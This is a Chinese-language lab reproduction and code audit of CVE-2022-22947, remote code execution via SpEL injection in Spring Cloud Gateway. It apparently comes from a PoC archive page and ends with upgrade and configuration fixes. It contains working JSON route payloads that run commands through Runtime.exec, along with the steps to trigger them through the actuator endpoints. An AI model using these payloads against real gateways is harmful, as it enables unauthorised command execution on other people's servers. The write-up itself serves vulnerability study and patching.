关联漏洞
描述
Spring-Cloud-Spel-RCE
介绍
## SpringCloud-Gateway命令执行漏洞(CVE-2022-22947)
## 环境搭建
### 方式一:
通过克隆Github上已写好的环境代码。
[Github仓库](https://github.com/Ha0Liu/CVE-2022-22947)
```git
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git
```

使用IDEA打开我们刚刚下载的代码包,Open ---> 刚下载的文件路径 ---> Open。
### 方式二:
通过自己手动创建工程,搭建环境。
(1)新建工程,配置好后一路next即可;

(2)分析项目的目录结构:
1、.idea文件夹中为InteliJ IDEA的默认配置文件,无其他用途,可根据自己的需求进行删除或保留;
2、src文件夹主要为整个工程的代码区域,其中包括java和resource两个文件夹,java是工程中 写java代码的区域,resource是整个工程的配置区域,Spring项目默认在java中添加 SpringApplication方法,此方法为Spring的默认启动方法,resource中默认添加application.properties,此文件为Spring项目的配置文件;
3、test文件夹为测试文件夹,可在test中测试方法;
4、pom.xml为maven的配置文件,其中包括工程所需要的依赖、配置等等;
5、.iml为maven依赖包的配置,也是默认添加的;
6、External Libraries文件夹为此工程的所有依赖包。
<img src="./Picture2/项目结构.png" style="zoom: 80%;" />
(3)添加maven依赖到pom.xml文件中([maven仓库](https://mvnrepository.com)中包含所有依赖详情)。
1、pom文件中会默认生成部分的xml代码,详情如下:

2、导入项目需要的依赖,其中由于此项目为SpringBoot项目所以需要导入spring-boot-starter依赖作为服务器的启动器,其次由于此漏洞为SpringCloud中Gateway网关的漏洞,风险版本为3.1.1以下的版本,所以此次我们使用3.1.0版本,进行漏洞复现,同时我们需要通过actuator接口进行监听、访问网关,所以这里我们也需要此依赖,具体内容如下:

(4)修改Spring的配置文件(路径为src --> main --> resources --> application.properties),详情如下:
1、server.port为Spring服务器的启动端口,默认为8080端口,大家可根据自己的情况进行设置;
2、management.endpoint.gateway.enabled=true为开启actuator端口检测SpringCloud-Gateway网关,默认为false,因为此漏洞需要对网关的状态进行监听等操作,所以我们需要手动将其更改为true,开启监听;
3、management.endpoints.web.exposure.include=gateway为选择服务器的网关为Gateway网关,因为此漏洞就是Gateway网关的漏洞,所以我们在配置文件中声明网关选择Gateway网关。

(5)修改新建项目后自生成的Java类(类名称一般为项目名+Application,路径为src --> main --> java --> com.xxx.xxx --> xxxApplication),详情可见下图:

(6)启动项目,详情如下图:

(7)访问http://localhost:9000,如果页面显示与截图一致,则证明环境搭建成功。

## 逆向审计
(1)首先我们看一下官方的修复补丁,differ如下:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e ,官方在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行SPEL表达式。

由上图可以看出此次补丁,主要是通过修改SPEL表达式的解析方法,由66行可以看出此if判断语句,可以看出需要SPEL表达式需要以“#{”开始,以“}”结束,此getValue方法功能则为SPEL表达式解析,可以看出此漏洞为SPEL表达式出发的RCE漏洞。
(2)通过control+鼠标左键点击getValue字段,即可向上回溯找到org.springframework.cloud.gateway.support.
ShorycutConfigurable.ShortcutType枚举。

<img src="./Picture2/枚举概括.png" style="zoom:150%;" />
通过上文中的default方法可看出,调用枚举中的DEFAULT方法,方法详情如下:
```java
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}
```

(3)向上回溯找到org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()。

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
## 正向审计(无回显利用链)
(1)根据文档[https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) 来看,用户可以通过actuator在网关中创建和删除路由,如下图为网关的基本构造。

(2)在IDEA中可通过actuator的mapping功能找到关于网关的创建、删除等功能接口。

(3)追踪到RouteDefinition类,发现此类为声明网关的结构内容。

(4)追踪其中的FilterDefinition类,发现Filter中有两个参数分别为“name”和“args”。
<img src="./Picture2/FilterDefinition.png" style="zoom:150%;" />
(5)追踪此name参数,发现在AbstractGatewayControllerEndpoint#save()方法中对name进行过滤,save方法为创建网关的接口,此方法调用两个参数一个是网关的id(可自定义),另一个是RouteDefinition,上文中说明了此对象声明了所创建的网关的结构内容是什么,这也就触发了此漏洞。

(6)通过打断点对isAvailable()方法进行动态调试,看看都有哪些name可以通过此过滤。


可通过如上图中的name进行绕过name校验。
(7)通过上面的分析我们就可以通过指定的“name”参数和由“#{”起始,由“}”结束的SPEL表达式进行RCE攻击了,Payload如下:
```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": "可任意更改(不可和之前创建的id相同)",
"filters": [{
"name": "👆上面截图中的任意name",
"args": {
"name": "可任意更改",
//此value为弹出计算器的命令(MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
```
(8)predicates无回显利用链([官网](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)):predicates的SPEL执行流程和filter的执行流程一致,下图为predicates的name校验匹配内容,可通过这些name对其进行命令执行,通过动态调试获取predicates的name校验机制,可根据官网中的example来构造Payload。

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": "可任意更改(不可和之前创建的id相同)",
"predicates": [{
"name": "👆上面截图中的任意name",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
```
## 总结(无回显利用链)
⽆回显链的filters、predicates 链确实存在,且只要 filters和predicates 名字合法绕过限制,就能触发RCE。
## 正向审计(有回显利用链)
(1)回显的原理:⽤户存储的路由定义信息存在内存中,刷新路由 spel 表达式执⾏后,会把执⾏结果写⼊路由信息⾥⾯。 通过查看路由信息 API 接⼝,就在路由信息展示中查看到 RCE 执⾏结果。
(2)通过官网的解释可一看出,对于filters的有回显的利用链中name=“AddResponseHeader”是可以触发有回显的利用链。
```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
"id": ""可任意更改(不可和之前创建的id相同)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
```
(3)下面我们需要思考除了name=“AddResponseHeader”以外,是不是像无回显链那样对所有的name都可以进行有回显的rce攻击。
(4)我们使用name=“RedirectTo”,复现尝试,看是否可进行回显攻击。


发现并不能进行回显,看一下后台的日志信息,发现后台返回空指针异常。

去官网查看是我们输入的args参数与过滤器不符造成的,此过滤器中需要两个参数一个是“status”另一个是“url”,我们通过更改参数,再执行一次。


仍然返回404,但后台报错不是空指针异常了,通过看异常信息,说明 spring-cloud-gateway 是对 url 格式进⾏解析了。 也就是说相应的参数都有类型限制,⽐如 status 必须是 HTTP 状态码(枚举类型)。

我们需要另求突破点,找⼀个参数是 String 类型。
(5)我们去官网中找一下参数是String的过滤器([官网链接](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[)),比如RemoveRequestHeader过滤器只需要传入一个String类型的name字符串,这样我们就可以构造一个SPEL表达式作为name的值。

下面我们就可以构造Payload进行尝试,发现可以回显。


可以看出在Filters的有回显的利用链中,不仅仅对name有过滤,对其中的args参数也有一定的要求,但可以通过构造不同的过滤器对其限制进行绕过。
(6)predicates的有回显利用链中挖掘路线和Filters的挖掘思路一致,通过官网中的参数类型和参数内容进行筛选,找出符合执行SPEL表达式的过滤器,就可以执行有回显的RCE了。
(7)predicates中可通过name=“Cookie”,进行命令执行,通过官网的参数参考进行构造。

构造Payload进行尝试,发现可以回显成功。


predicates回显链确实存在,不光对 args 参数名称有限制,并且对参数对应的类型也有限制。同时还有对参数完整性也有限制。
## 总结(有回显利用链)
在有回显利用链中,Spring不仅对过滤器的name进行过滤,对args的参数类型、参数个数也有对应的限制,可通过查看官网中的过滤器详情进行判断是否存在可利用链。
## 漏洞复现
1、无回显利用链
(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

(2)刷新网关。

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的test网关,弹出计算器。

(4)删除网关。

2、有回显利用链
(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

(2)刷新网关。

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的hacktest网关,回显“whoami”成功。

(4)删除网关。

## 修复方案
1、临时修复方案:
(1)如果不需要 Actuator端点,可以通过如下配置将其禁用。
```
management.endpoint.gateway.enabled=false
```
(2)如果需要 Actuator 端点,则应使用 Spring Security 对其进行保护。
2、官方升级补丁:
官方已发布安全版本:
```
3.1.X 版本用户及时升级到 3.1.1+
3.0.X 版本用户及时升级到 3.0.7+
```
文件快照
[4.0K] /data/pocs/b225b09961d30a9d43bf36b40451ae83f5422a13
├── [4.7M] CVE-2022-22947 SpringCloud-Gateway-Spel-RCE.pdf
├── [315K] Filters.png
├── [4.0K] payload
│ ├── [ 670] 1.txt
│ ├── [ 578] 2.txt
│ ├── [ 512] 3.txt
│ ├── [ 515] 4.txt
│ ├── [ 711] 5.txt
│ └── [ 688] 6.txt
├── [4.0K] Picture2
│ ├── [ 56K] 3022.png
│ ├── [ 78K] 302.png
│ ├── [ 12K] 302日志.png
│ ├── [ 55K] cookie-delete.png
│ ├── [ 70K] cookie-get.png
│ ├── [ 64K] cookie.png
│ ├── [ 79K] cookie-save.png
│ ├── [ 91K] DEFAULT方法.jpg
│ ├── [ 16K] FilterDefinition.png
│ ├── [ 73K] Filter的name过滤.png
│ ├── [1.0M] Git打开代码环境.png
│ ├── [1.5M] Git环境搭建.png
│ ├── [ 18K] isAva.png
│ ├── [ 80K] main.png
│ ├── [ 29K] normalizeProperties.png
│ ├── [640K] pom依赖.png
│ ├── [ 93K] redicates.png
│ ├── [ 57K] RedirectTo-Get.png
│ ├── [ 77K] RedirectTo-save.png
│ ├── [162K] RedirectTo-日志.png
│ ├── [ 77K] Remove-get.png
│ ├── [ 75K] Remove-save.png
│ ├── [ 41K] RouteDefin.png
│ ├── [301K] 动态调试.png
│ ├── [ 78K] 复现1.png
│ ├── [ 43K] 复现2.png
│ ├── [115K] 复现3.png
│ ├── [ 56K] 复现4.png
│ ├── [497K] 官方补丁.png
│ ├── [ 66K] 官网.png
│ ├── [730K] 新建项目.png
│ ├── [ 35K] 枚举概括.png
│ ├── [115K] 枚举详情.png
│ ├── [337K] 网关接口.png
│ ├── [ 93K] 网关构造.png
│ ├── [151K] 运行成功截图.png
│ ├── [822K] 运行项目.png
│ ├── [139K] 配置文件修改.png
│ ├── [676K] 项目结构.png
│ └── [602K] 默认pom.png
├── [2.6K] pom.xml
├── [ 93K] Predicates.png
├── [ 14K] README.md
├── [ 12K] spring-gateway-rce 2.iml
├── [ 12K] spring-gateway-rce.iml
├── [4.0K] src
│ ├── [4.0K] main
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] com
│ │ │ └── [4.0K] ha0l
│ │ │ └── [1.0K] GatewayApp.java
│ │ └── [4.0K] resources
│ │ └── [ 201] application.properties
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] wuya
│ └── [ 189] GatewayAppTests.java
└── [4.0K] target
├── [4.0K] classes
│ ├── [ 201] application.properties
│ └── [4.0K] com
│ └── [4.0K] ha0l
│ └── [ 974] GatewayApp.class
├── [4.0K] maven-archiver
│ └── [ 61] pom.properties
├── [4.0K] maven-status
│ └── [4.0K] maven-compiler-plugin
│ ├── [4.0K] compile
│ │ └── [4.0K] default-compile
│ │ ├── [ 0] createdFiles.lst
│ │ └── [ 85] inputFiles.lst
│ └── [4.0K] testCompile
│ └── [4.0K] default-testCompile
│ ├── [ 0] createdFiles.lst
│ └── [ 86] inputFiles.lst
├── [ 30M] spring-gateway-rce-0.0.1.jar
├── [3.2K] spring-gateway-rce-0.0.1.jar.original
└── [4.0K] test-classes
└── [4.0K] wuya
└── [ 492] GatewayAppTests.class
24 directories, 66 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。